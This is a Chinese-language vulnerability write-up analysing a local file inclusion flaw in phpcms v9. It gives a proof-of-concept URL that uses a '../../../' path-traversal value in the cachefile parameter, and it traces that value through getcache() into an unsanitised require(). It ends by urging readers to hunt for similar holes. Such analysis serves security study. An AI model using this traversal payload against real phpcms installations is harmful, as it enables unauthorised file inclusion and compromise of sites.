phpcms v9本地文件包含漏洞超详细分析
http://www.php0day.com/api.php?op=get_menu&act=ajax_getlist&callback=alert&path=b4dboy&cachefile=../../../fuck
可以看出漏洞在get_menu.php文件的ajax_getlist()函数。我们跟进去看看。
function ajax_getlist() { $cachefile = $_GET['cachefile']; $path = $_GET['path']; $title = $_GET['title']; $key = $_GET['key']; $infos = getcache($cachefile,$path); $where_id = intval($_GET['parentid']); $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
OK,看到了exp中的cachefile参数
$cachefile = $_GET['cachefile'];
继续跟进,看到
$infos = getcache($cachefile,$path);
调用了getcache()函数,
在\phpcms\libs\functions\global.func.php 文件505行
/** * 读取缓存,默认为文件缓存,不加载缓存配置。 * @param string $name 缓存名称 * @param $filepath 数据路径(模块名称) caches/cache_$filepath/ * @param string $config 配置名称 */ function getcache($name, $filepath='', $type='file', $config='') { pc_base::load_sys_class('cache_factory','',0); if($config) { $cacheconfig = pc_base::load_config('cache'); $cache = cache_factory::get_instance($cacheconfig)->get_cache($config); } else { $cache = cache_factory::get_instance()->get_cache($type); } return $cache->get($name, '', '', $filepath); }
OK,很清楚的可以看到传进来的$name变量,即缓存名称最终进入了$cache->get($name, ”, ”, $filepath);。
在phpcms\libs\classes\cache_file.class.php 文件的get函数
public function get($name, $setting = '', $type = 'data', $module = ROUTE_M) { $this->get_setting($setting); if(empty($type)) $type = 'data'; if(empty($module)) $module = ROUTE_M; $filepath = CACHE_PATH.'caches_'.$module.'/caches_'.$type.'/'; $filename = $name.$this->_setting['suf'];//echo $filepath.$filename;exit(); if (!file_exists($filepath.$filename)) { return false; } else { if($this->_setting['type'] == 'array') { $data = @require($filepath.$filename);
我在上面加了个echo $filepath.$filename;exit();输出了路径,如图
很清楚了吧。例如包含的根目录的1.cache.php
如果你仔细看看同类的函数,会发现还有很多类似的。慢慢挖吧。